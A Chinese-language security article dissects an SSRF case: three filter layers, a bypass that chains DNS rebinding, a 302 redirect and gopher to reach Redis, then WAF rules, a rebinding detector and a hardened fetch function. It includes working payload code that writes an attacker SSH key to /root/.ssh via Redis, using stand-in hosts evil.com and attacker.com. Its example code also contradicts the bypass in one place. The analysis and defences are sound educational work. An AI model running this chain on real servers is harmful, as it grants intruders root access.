一、SSRF 漏洞回顾

服务端请求伪造(Server-Side Request Forgery, SSRF)是指攻击者通过服务端发起恶意请求,访问原本无法直接访问的内网资源。其本质原因是:服务端将用户可控的 URL 作为请求目标,且未做充分校验

经典攻击场景:

  • 访问内网服务(Redis、ElasticSearch、K8s API)
  • 读取本地文件(file:///etc/passwd
  • 通过云厂商元数据接口获取临时凭证

二、三层防护的设计与绕过

本次案例分析的是一个实施了三层 SSRF 防护的目标系统,攻击者通过 Gopher 协议DNS 重绑定(DNS Rebinding) 组合拳将其击穿。

2.1 第一层:URL 黑名单过滤

防护逻辑:禁止访问内网 IP 地址和敏感协议

# 第一层防护代码(示例)
BLACKLIST_HOSTS = ['127.0.0.1', 'localhost', '0.0.0.0', '::1']
BLACKLIST_PROTOCOLS = ['file', 'ftp', 'dict', 'gopher']

def first_layer_filter(url):
    parsed = urlparse(url)
    
    # 协议黑名单
    if parsed.scheme in BLACKLIST_PROTOCOLS:
        return False, f"Protocol {parsed.scheme} is blocked"
    
    # 主机黑名单
    hostname = parsed.hostname
    if hostname in BLACKLIST_HOSTS:
        return False, f"Host {hostname} is blocked"
    
    # IP 段黑名单(内网段)
    try:
        ip = ipaddress.ip_address(hostname)
        if ip.is_private or ip.is_loopback:
            return False, f"Private IP {hostname} is blocked"
    except ValueError:
        pass  # 不是 IP,是域名,继续
    
    return True, "Passed first layer"

绕过思路:使用公网域名绕过 IP 黑名单,后续通过 DNS 重绑定将域名解析到内网 IP。

2.2 第二层:DNS 解析后 IP 二次校验

防护逻辑:对域名进行 DNS 解析,再次校验解析后的 IP 是否在内网范围

# 第二层防护代码(示例)
def second_layer_filter(url):
    parsed = urlparse(url)
    hostname = parsed.hostname
    
    try:
        # 解析域名获取 IP
        resolved_ips = socket.getaddrinfo(hostname, None)
        for family, _, _, _, sockaddr in resolved_ips:
            ip = sockaddr[0]
            addr = ipaddress.ip_address(ip)
            if addr.is_private or addr.is_loopback:
                return False, f"Resolved IP {ip} is private"
    except socket.gaierror:
        return False, "DNS resolution failed"
    
    return True, "Passed second layer"

绕过思路:DNS 重绑定(DNS Rebinding)。攻击者控制一个恶意域名,配置 DNS 服务器使其:

  • 第一次解析(校验时):返回一个合法的公网 IP,通过校验
  • 第二次解析(实际请求时):TTL 设为 0,返回内网 IP(如 127.0.0.1
攻击者域名: evil.com
          │
          ├─ 第一次 DNS 查询(校验阶段)→ 返回 1.2.3.4(公网合法 IP)
          │                          → 校验通过!
          │
          └─ 第二次 DNS 查询(请求阶段,TTL=0 触发重新解析)
                                     → 返回 127.0.0.1(内网目标)
                                     → SSRF 成功!

2.3 第三层:HTTP 协议限制 + 响应长度限制

防护逻辑:只允许 HTTP/HTTPS 协议,且限制响应内容长度,防止信息泄露

# 第三层防护代码(示例)
def third_layer_filter(url):
    parsed = urlparse(url)
    
    # 只允许 http/https
    if parsed.scheme not in ['http', 'https']:
        return False, "Only HTTP/HTTPS allowed"
    
    return True, "Passed third layer"

def safe_request(url, max_length=1024):
    response = requests.get(url, timeout=5, allow_redirects=False)
    if len(response.content) > max_length:
        return response.content[:max_length] + b"...[truncated]"
    return response.content

绕过思路:Gopher 协议 + URL 编码混淆

Gopher 协议可以构造任意的 TCP 请求 payload。虽然 Gopher 被协议黑名单拦截,但可以通过以下方式绕过:

  1. 302 跳转绕过协议限制:先访问一个受控的公网 HTTP 服务,该服务返回 302 跳转到 gopher://127.0.0.1:6379/_...
  2. URL 编码/大小写混淆:某些解析器对 GoPher://g%6fpher:// 的识别不完善
  3. CRLF 注入:在 HTTP 请求中注入换行符,将 HTTP 请求改造成其他协议的请求

三、完整攻击链复现

3.1 攻击环境

目标: http://victim.com/fetch?url=<用户输入>
目标内网: 127.0.0.1:6379 (Redis, 无认证)
攻击者控制: evil.com (DNS 服务器) + attacker.com (HTTP 服务)

3.2 攻击步骤

Step 1:配置 DNS 重绑定

# 攻击者的 DNS 服务器逻辑(简化)
from flask import Flask
import random

app = Flask(__name__)
query_count = {}

@app.route('/dns')
def dns_response():
    domain = request.args.get('name')
    client_ip = request.remote_addr
    
    key = f"{client_ip}:{domain}"
    count = query_count.get(key, 0)
    query_count[key] = count + 1
    
    if count == 0:
        # 第一次查询:返回公网 IP(通过校验)
        return "1.2.3.4"
    else:
        # 后续查询:返回内网 IP(实际攻击)
        return "127.0.0.1"

Step 2:构造 Gopher Payload 攻击 Redis

# Gopher 协议攻击 Redis 的 Payload
def build_gopher_redis_payload(commands):
    """
    将 Redis 命令转换为 Gopher 协议格式
    Redis 协议格式: *<n>\r\n$<len>\r\n<arg>\r\n...
    """
    payload = ""
    for cmd in commands:
        payload += f"*{len(cmd)}\r\n"
        for arg in cmd:
            payload += f"${len(arg)}\r\n{arg}\r\n"
    
    # Gopher 协议格式: gopher://host:port/_<payload>
    # 需要对 payload 进行 URL 编码
    import urllib.parse
    encoded = urllib.parse.quote(payload, safe='')
    return f"gopher://127.0.0.1:6379/_{encoded}"

# 攻击 Payload:写入 SSH 公钥
commands = [
    ["CONFIG", "SET", "dir", "/root/.ssh"],
    ["CONFIG", "SET", "dbfilename", "authorized_keys"],
    ["SET", "x", "ssh-rsa AAAA... attacker@evil.com"],
    ["SAVE"]
]

gopher_url = build_gopher_redis_payload(commands)
print(gopher_url)

Step 3:利用 302 跳转完成协议绕过

# attacker.com 上的跳转服务
from flask import Flask, redirect

app = Flask(__name__)

@app.route('/redirect')
def redirect_to_gopher():
    # 返回 302 跳转到 gopher 协议 URL
    # 目标服务端如果跟随重定向,就会发起 gopher 请求
    return redirect('gopher://127.0.0.1:6379/_*1%0D%0A...', code=302)

攻击者提交:

http://victim.com/fetch?url=http://attacker.com/redirect

服务端校验 http://attacker.com/redirect → 通过所有三层防护 → 发起请求 → 收到 302 → 跟随重定向到 gopher://127.0.0.1:6379/_... → Redis 被攻击

3.4 攻击时序图

攻击者                目标服务端              DNS 服务器           攻击者 HTTP 服务         内网 Redis
  │                       │                      │                       │                      │
  │ ──提交恶意 URL─────> │                      │                       │                      │
  │                       │ ──DNS 查询 evil.com─>│                       │                      │
  │                       │                      │ ──返回 1.2.3.4 ──────>│                      │
  │                       │ <─公网 IP 通过校验───│                       │                      │
  │                       │                                              │                      │
  │                       │ ──请求 attacker.com/redirect ────────────────>│                      │
  │                       │                                              │                      │
  │                       │ <──────────── 302 redirect to gopher ────────│                      │
  │                       │                                              │                      │
  │                       │ ──DNS 查询 evil.com(TTL=0 重新解析)───────>│                       │
  │                       │                      │ ──返回 127.0.0.1 ────>│                      │
  │                       │                      │                       │                      │
  │                       │ ──Gopher 请求 127.0.0.1:6379 ───────────────────────────────────────>│
  │                       │                                                                       │
  │                       │ <──────────────────────────── Redis 响应 ────────────────────────────│

四、检测规则

4.1 WAF / IDS 检测规则

# ModSecurity / Coreruleset 规则
# 规则1:检测 Gopher 协议在 URL 中的使用
SecRule REQUEST_URI|ARGS "@rx (?i)gopher://" \
    "id:1001,phase:2,block,msg:'SSRF: Gopher protocol detected'"

# 规则2:检测 DNS 重绑定特征(TTL=0 + 快速 IP 变化)
SecRule REQUEST_HEADERS:Host "@rx \.\w+$" \
    "id:1002,phase:1,pass,msg:'Potential DNS rebinding target'"

# 规则3:检测 302 跳转后的协议变更
SecRule RESPONSE_STATUS "@streq 302" \
    "chain,id:1003,phase:3,pass,msg:'Redirect to non-HTTP protocol'"
SecRule RESPONSE_HEADERS:Location "@rx ^(gopher|file|dict|ftp)://"

4.2 应用层检测

class SSRFDetector:
    def detect_rebinding(self, hostname, dns_history):
        """检测 DNS 重绑定攻击"""
        if hostname not in dns_history:
            dns_history[hostname] = []
        
        current_ips = socket.getaddrinfo(hostname, None)
        current_ip_set = {sockaddr[0] for _, _, _, _, sockaddr in current_ips}
        
        if dns_history[hostname]:
            previous_ip_set = set(dns_history[hostname][-1])
            # 如果同一域名在短时间内解析到完全不同的 IP 段
            if not current_ip_set & previous_ip_set:
                # 且包含内网 IP
                if any(ipaddress.ip_address(ip).is_private for ip in current_ip_set):
                    return True, "DNS Rebinding detected"
        
        dns_history[hostname].append(list(current_ip_set))
        return False, "OK"

五、防御建议

5.1 正确做法(分层纵深防御)

层级 正确做法 为什么有效
架构层 将敏感服务放在独立的网络隔离区(VPC/子网),服务端无法直接访问 即使 SSRF 成功,也接触不到敏感服务
网络层 出站防火墙限制服务端只能访问白名单地址 黑名单永远有遗漏
应用层 使用 URL 解析库获取最终 IP 后再校验,而非正则匹配字符串 防御编码混淆
DNS 层 内部 DNS 服务器对 TTL < 5 秒的响应做缓存或告警 阻止 DNS 重绑定
协议层 禁止跟随重定向,或限制重定向目标协议 防御 302 跳转绕过
服务层 内网关键服务(Redis、K8s API)必须认证 即使被访问也无法利用

5.2 关键代码修复

import socket
import ipaddress
from urllib.parse import urlparse

def safe_url_fetch(url):
    """安全的 URL 请求函数"""
    parsed = urlparse(url)
    
    # 1. 只允许 http/https
    if parsed.scheme not in ['http', 'https']:
        raise ValueError(f"Only HTTP/HTTPS allowed, got {parsed.scheme}")
    
    # 2. 获取主机名
    hostname = parsed.hostname
    if not hostname:
        raise ValueError("Invalid URL: no hostname")
    
    # 3. DNS 解析
    try:
        addr_info = socket.getaddrinfo(hostname, None)
    except socket.gaierror:
        raise ValueError("DNS resolution failed")
    
    # 4. 解析后 IP 校验(关键!)
    for family, _, _, _, sockaddr in addr_info:
        ip = ipaddress.ip_address(sockaddr[0])
        if ip.is_private or ip.is_loopback or ip.is_reserved:
            raise ValueError(f"Resolved IP {ip} is not allowed")
    
    # 5. 使用解析后的 IP 直接连接,不再依赖 DNS
    # 这一步是防御 DNS 重绑定的核心!
    # 获取第一个解析到的公网 IP
    target_ip = addr_info[0][4][0]
    
    # 6. 构造新的 URL,使用 IP 直接连接,Host header 保留原域名
    # 这样避免了第二次 DNS 查询
    import requests
    headers = {'Host': hostname}
    
    # 7. 不跟随重定向
    response = requests.get(
        f"{parsed.scheme}://{target_ip}{parsed.path}",
        headers=headers,
        allow_redirects=False,  # 禁止跟随重定向!
        timeout=5
    )
    
    return response

核心要点

  1. 解析后锁定 IP:DNS 解析一次后,后续用 IP 直接连接,不再给 DNS 重绑定机会
  2. 禁止跟随重定向:302 跳转是最常见的协议绕过手段
  3. 白名单优于黑名单:只允许已知的、安全的域名/IP
  4. 内网服务强制认证:Redis、K8s API、ElasticSearch 等必须设置密码/TLS

核心结论:三层 SSRF 防护被击穿的关键教训是——任何依赖"检查后再请求"的防御都存在时间窗口攻击的可能。正确的做法是解析域名后立即锁定 IP,且禁止跟随重定向。DNS 重绑定和 Gopher 协议的组合拳之所以有效,正是因为它精准利用了"检查阶段"和"请求阶段"之间的时间差。

参考来源

  1. FreeBuf / CSDN, SSRF漏洞攻防全景解析:从挖掘实战到防御体系构建, 2026 — 原文链接
  2. 博客园, SSRF DNS重绑定绕过法, 2026 — 原文链接
  3. 博客园, SSRF——服务端请求伪造, 2026 — 原文链接